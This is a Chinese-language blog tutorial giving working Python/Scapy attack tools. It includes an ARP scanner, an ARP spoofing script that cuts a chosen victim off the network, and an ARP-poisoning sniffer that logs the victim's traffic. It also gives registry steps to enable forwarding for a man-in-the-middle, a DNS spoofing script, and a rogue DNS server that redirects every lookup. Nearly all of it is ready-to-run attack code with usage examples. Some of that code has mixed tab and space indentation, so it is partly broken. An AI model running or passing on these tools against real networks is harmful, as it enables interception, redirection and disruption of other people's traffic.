Python ARP扫描与欺骗实现全程详解

ARP欺骗又称ARP毒化或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。

实现ARP扫描: 运用Scapy工具包,开发一款ARP扫描工具,扫描网段内所有的在线主机并显示其MAC地址。

from scapy.all import *
from optparse import OptionParser
import threading
def parse_ip(targets):
    _split = targets.split(\'-\')
    first_ip = _split[0]
    ip_split = first_ip.split(\'.\')
    ipv4 = range(int(ip_split[3]),int(_split[1])+1)
    addr = [ ip_split[0]+\'.\'+ip_split[1]+\'.\'+ip_split[2]+\'.\'+str(p) for p in ipv4 ]
    return addr
def arp_scan(address):
    try:
        ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
        if ret:
            if ret.haslayer(\'ARP\') and ret.fields[\'op\'] == 2:
                print(\'[+] IP地址: {} => MAC地址:{}\'.format(ret.fields[\'psrc\'],ret.fields[\'hwsrc\']))
    except Exception:
        exit(1)
def Banner():
    print(\"  _          ____  _                _    \")
    print(\" | |   _   _/ ___|| |__   __ _ _ __| | __\")
    print(\" | |  | | | \\___ \\| \'_ \\ / _` | \'__| |/ /\")
    print(\" | |__| |_| |___) | | | | (_| | |  |   < \")
    print(\" |_____\\__, |____/|_| |_|\\__,_|_|  |_|\\_\\\\\")
    print(\"       |___/                             \\n\")
    print(\"E-Mail: me@lyshark.com\\n\")
if __name__ == \"__main__\":
    Banner()
    parser = OptionParser()
    parser.add_option(\"-a\",\"--addr\",dest=\"address\",help=\"--> input 192.168.1.0-100\")
    (options,args) = parser.parse_args()
    if options.address:
        addr_list = parse_ip(options.address)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=arp_scan,args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    else:
        parser.print_help()

执行扫描如下:

Python ARP扫描与欺骗实现全程详解

实现ARP欺骗: 通过ARP协议扫描网络中在线主机,并能够指定IP地址断掉网络.

from scapy.all import *
import argparse
import threading,time

# 生成网段信息,例如输入: 192.168.1.1/20 生成`1-20`地址
def Parse_IP(targets):
    _split = targets.split(\'/\')
    first_ip = _split[0]
    ip_split = first_ip.split(\'.\')
    ipv4 = range(int(ip_split[3]),int(_split[1])+1)
    addr = [ ip_split[0]+\'.\'+ip_split[1]+\'.\'+ip_split[2]+\'.\'+str(p) for p in ipv4 ]
    return addr

# 通过ARP协议扫描局域网中在线的设备
def ARP_Scan(address):
    try:
        ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
        if ret:
            if ret.haslayer(\'ARP\') and ret.fields[\'op\'] == 2:
                print(\'[+] IP地址: %-13s ==> MAC地址: %-15s\' %(ret.fields[\'psrc\'],ret.fields[\'hwsrc\']))
    except Exception:
        exit(1)
# 创建并发送有效载荷
def SendPayload(Interface,srcMac,tgtMac,gateWayMac,gatewayIP,tgtIP):
    print(\"[+] 目标MAC: {} 目标IP: {} 发送: 2 packets\".format(tgtMac,tgtIP))
    # 生成ARP数据包,伪造网关欺骗目标计算机
    sendp(Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2),iface=Interface)
    # 生成ARP数据包,伪造目标计算机欺骗网关
    sendp(Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2),iface=Interface)
    print(\"-------------------------------------------------------------------------\")
def Banner():
    print(\"  _          ____  _                _    \")
    print(\" | |   _   _/ ___|| |__   __ _ _ __| | __\")
    print(\" | |  | | | \\___ \\| \'_ \\ / _` | \'__| |/ /\")
    print(\" | |__| |_| |___) | | | | (_| | |  |   < \")
    print(\" |_____\\__, |____/|_| |_|\\__,_|_|  |_|\\_\\\\\")
    print(\"       |___/                             \\n\")
    print(\"E-Mail: me@lyshark.com\\n\")
if __name__ == \"__main__\":
	Banner()
    parser = argparse.ArgumentParser()
    parser.add_argument(\"-s\",\"--scan\",dest=\"scan\",help=\"输入一个扫描网段\")
    parser.add_argument(\"-i\",\"--interface\",dest=\"interface\",help=\"输入接口名\")
    parser.add_argument(\"-g\",\"--gateway\",dest=\"gateway\",help=\"输入网关地址\")
    parser.add_argument(\"-t\",\"--target\",dest=\"target\",help=\"输入被害主机地址\")
    args = parser.parse_args()
    # 使用方式: main.py -s192.168.1.1/100
    if args.scan:
        addr_list = Parse_IP(args.scan)
        for item in addr_list:
            threads = []
            t = threading.Thread(target=ARP_Scan,args=(item,))
            threads.append(t)
            t.start()
        for item in threads:
            item.join()
    # 使用方式: main.py -i \"Realtek PCIe GBE Family Controller\" -g 192.168.1.1 -t 192.168.1.10
    elif args.gateway and args.target and args.scan == None:
            srcMac = get_if_hwaddr(args.interface)                 # 通过接口名称获取本机MAC地址
            tgtMac = getmacbyip(args.target)                       # 通过IP地址获取目标计算机的MAC地址
            gatewayMac = getmacbyip(args.gateway)                  # 指定本机网段的网关MAC地址
            while True:
                t = threading.Thread(target=SendPayload,args=(args.interface,srcMac,tgtMac,gatewayMac,args.gateway,args.target))
                t.start()
                t.join()
                time.sleep(1)
    else:
        parser.print_help()

开启转发功能,开始运行里面输入regedit打开注册表编辑器,在注册表定位下面注册表项。

HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters

选择下面的项目:IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1

Python ARP扫描与欺骗实现全程详解

ARP数据嗅探: 利用欺骗实现的局域网嗅探工具Windows下需要开启Routing And RemoteAccess转发服务.

import sys,os,threading
import argparse
from scapy.all import *
# 生成ARP数据包,伪造网关欺骗目标计算机
def createArp2Station(interface,target_ip,gateway_ip):
    dst_Mac=str(getmacbyip(target_ip))
    self_Mac=str(get_if_hwaddr(interface))
    Ether_data=Ether(src=self_Mac,dst=dst_Mac) / ARP(op=2,hwsrc=self_Mac,psrc=gateway_ip,hwdst=dst_Mac,pdst=target_ip)
    try:
        sendp(Ether_data,inter=2,iface=interface,loop=1)
    except Exception as e:
        print(\"目标ARP数据发送失败!\")
# 生成ARP数据包,伪造目标计算机欺骗网关
def createArp2Gateway(interface,target_ip,gateway_ip):
    dst_Mac = getmacbyip(gateway_ip)
    self_Mac = get_if_hwaddr(interface)
    Ether_data = None
    Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=target_ip, hwdst=dst_Mac, pdst=gateway_ip)
    try:
        sendp(Ether_data, inter=2,iface=interface,loop=1)
    except Exception as e:
        print(\"网关ARP数据发送失败!\")
def Packet_CallBack(pkt):
    if pkt.haslayer(IP):
        if pkt.getlayer(IP).src != \"127.0.0.1\":
            ip_src = pkt.getlayer(IP).src
            ip_dst = pkt.getlayer(IP).dst
            print(\"源地址: {} ---> 目标地址: {}\".format(ip_src,ip_dst))
def Banner():
    print(\"  _          ____  _                _    \")
    print(\" | |   _   _/ ___|| |__   __ _ _ __| | __\")
    print(\" | |  | | | \\___ \\| \'_ \\ / _` | \'__| |/ /\")
    print(\" | |__| |_| |___) | | | | (_| | |  |   < \")
    print(\" |_____\\__, |____/|_| |_|\\__,_|_|  |_|\\_\\\\\")
    print(\"       |___/                             \\n\")
    print(\"E-Mail: me@lyshark.com\\n\")
if __name__ == \"__main__\":
    # 使用方式: main.py -i \"Realtek PCIe GBE Family Controller\" -g 192.168.1.1 -t 192.168.1.10
	Banner()
    parser = argparse.ArgumentParser()
    parser.add_argument(\"-i\",\"--interface\",dest=\"interface\",help=\"输入网卡名称\")
    parser.add_argument(\"-t\",\"--target_ip\",dest=\"target_ip\",help=\"输入目标主机IP\")
    parser.add_argument(\"-g\",\"--gateway\",dest=\"gateway\",help=\"输入网关地址\")
    args = parser.parse_args()
    if args.interface and args.target_ip and args.gateway:
        try:
            t1=threading.Thread(target=createArp2Station,args=(args.interface,args.target_ip,args.gateway))
            t1.setDaemon(True)
            t1.start()
            t2=threading.Thread(target=createArp2Gateway,args=(args.interface,args.target_ip,args.gateway))
            t2.setDaemon(True)
            t2.start()
            sniff(prn=Packet_CallBack,filter=\"tcp\",iface=args.interface)
        except Exception:
            sys.exit(1)
        while True:
            pass
    else:
        parser.print_help()
# http and ip.src_host==192.168.1.6 and http.request.method==GET and !(http.request.full_uri matches \"http://.*\\.jpg.*\")

实现DNS欺骗: 网上其他人的一种实现方法,代码如下,只不过我们只做了ARP骗,而在该欺骗基础上可以加强为DNS欺骗。

import sys
import os
import threading
from scapy.all import *
from optparse import  OptionParser
#DNS欺骗函数
def DNS_Spoof(data):
    if data.haslayer(DNS):
        try:
            #构造DNS AN数据
            dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
            #构造IP/UDP数据包
            repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
            #构造DNS数据包
            repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
            #攻击信息输出
            print (\'\\nhancker ip :\' + jokers + \" url : \"+data[DNS].qd.qname)
            #发送数据包
            send(repdata)
        except Exception:
            sys.exit(1)
#DNS欺骗函数
def DNS_S(dns_ip,iface):
    global jokers
    jokers=dns_ip
    print (\"DNS欺骗开始!\")
    sniff(prn=DNS_Spoof,filter=\'udp dst port 53\',iface=iface)
#ARP欺骗函数
def op(eths,mubiao_ip,Ps,gateway_ip):
    ip=mubiao_ip
    wifi=gateway_ip
    #目标设备MAC地址
    dst_Mac=str(getmacbyip(ip))
    #黑客设备mac地址
    self_Mac=str(get_if_hwaddr(eths))
    #网关MAC地址
    wifi_Mac=str(getmacbyip(wifi))
    #构造以太帧数据
    Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)
    try:
        #发送以太帧数据,sendp发送OSI模型中的二层数据
        sendp(Ether_data,inter=2,iface=eths,loop=1)
    except Exception as e:
        print(\"目标ARP数据发送失败!\")
def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip):
    ip=gateway_ip
    dst=mubiao_ip
    et = eths
    #根据IP获取MAC
    dst_Mac = getmacbyip(ip)
    #根据网卡获取MAC
    self_Mac = get_if_hwaddr(et)
    Ether_data = None
    if Ps==\"1\":
        #构造以太帧数据与ARP响应数据,ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应,实现双向的无法解析,ARP协议的op参数是状态,2为响应数据,1为请求数据
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=\'12:1a:13:a3:13:ef\', psrc=dst, hwdst=dst_Mac, pdst=ip)
        #新线程,开始DNS欺骗
        t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths))
        t3.setDaemon(True)
        t3.start()
    if Ps == \"0\":
        #构造以太帧数据与ARP响应数据,这里因为不需要DNS欺骗,所以不需要一个假的MAC地址,让双方通信设备正常访问即可
        Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
    if Ps!=\"1\" and Ps!=\"0\":
        print (Ps)
        print (type(Ps))
        print (\'-P 参数有误!\')
        sys.exit(1)
    try:
        sendp(Ether_data, inter=2,iface=et,loop=1)
    except Exception as e:
        print(\"网关ARP数据发送失败!\")
def main():
    try:
            eth= \"Realtek PCIe GBE Family Controller\"
            mubiao=\"192.168.1.6\"
            gateway=\"192.168.1.1\"
            P=\"0\"
            dip=\"8.8.8.8\"
            t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway))
            t1.setDaemon(True)
            t1.start()
            t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip))
            t2.setDaemon(True)
            t2.start()
    except Exception as e:
        print (e)
        sys.exit(1)
    while True:
        pass
if __name__ == \'__main__\':
    main()

DNS欺骗需要一个DNS解析服务器,这里从网上找到一个DNS解析服务器代码,可以快速解析。

import socketserver,struct
class SinDNSQuery:
    def __init__(self, data):
        i = 1
        self.name = \'\'
        while True:
            d = data[i]
            if d == 0:
                break;
            if d < 32:
                self.name = self.name + \'.\'
            else:
                self.name = self.name + chr(d)
            i = i + 1
        self.querybytes = data[0:i + 1]
        (self.type, self.classify) = struct.unpack(\'>HH\', data[i + 1:i + 5])
        self.len = i + 5
    def getbytes(self):
        return self.querybytes + struct.pack(\'>HH\', self.type, self.classify)
class SinDNSAnswer:
    def __init__(self, ip):
        self.name = 49164
        self.type = 1
        self.classify = 1
        self.timetolive = 190
        self.datalength = 4
        self.ip = ip
    def getbytes(self):
        res = struct.pack(\'>HHHLH\', self.name, self.type, self.classify, self.timetolive, self.datalength)
        s = self.ip.split(\'.\')
        res = res + struct.pack(\'BBBB\', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
        return res
class SinDNSFrame:
    def __init__(self, data):
        (self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack(\'>HHHHHH\', data[0:12])
        self.query = SinDNSQuery(data[12:])
    def getname(self):
        return self.query.name
    def setip(self, ip):
        self.answer = SinDNSAnswer(ip)
        self.answers = 1
        self.flags = 33152
    def getbytes(self):
        res = struct.pack(\'>HHHHHH\', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
        res = res + self.query.getbytes()
        if self.answers != 0:
            res = res + self.answer.getbytes()
        return res
class SinDNSUDPHandler(socketserver.BaseRequestHandler):
    def handle(self):
        data = self.request[0].strip()
        dns = SinDNSFrame(data)
        socket = self.request[1]
        namemap = SinDNSServer.namemap
        if(dns.query.type==1):
            name = dns.getname();
            if namemap.__contains__(name):
                dns.setip(namemap[name])
                socket.sendto(dns.getbytes(), self.client_address)
            elif namemap.__contains__(\'*\'):
                dns.setip(namemap[\'*\'])
                socket.sendto(dns.getbytes(), self.client_address)
            else:
                socket.sendto(data, self.client_address)
        else:
            socket.sendto(data, self.client_address)
class SinDNSServer:
    def __init__(self, port=53):
        SinDNSServer.namemap = {}
        self.port = port
    def addname(self, name, ip):
        SinDNSServer.namemap[name] = ip
    def start(self):
        HOST, PORT = \"0.0.0.0\", self.port
        server = socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler)
        server.serve_forever()
if __name__ == \"__main__\":
    server = SinDNSServer()
    server.addname(\'www.lyshark.com\', \'192.168.1.1\')
    server.addname(\'*\', \'192.168.1.2\')
    server.start()
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容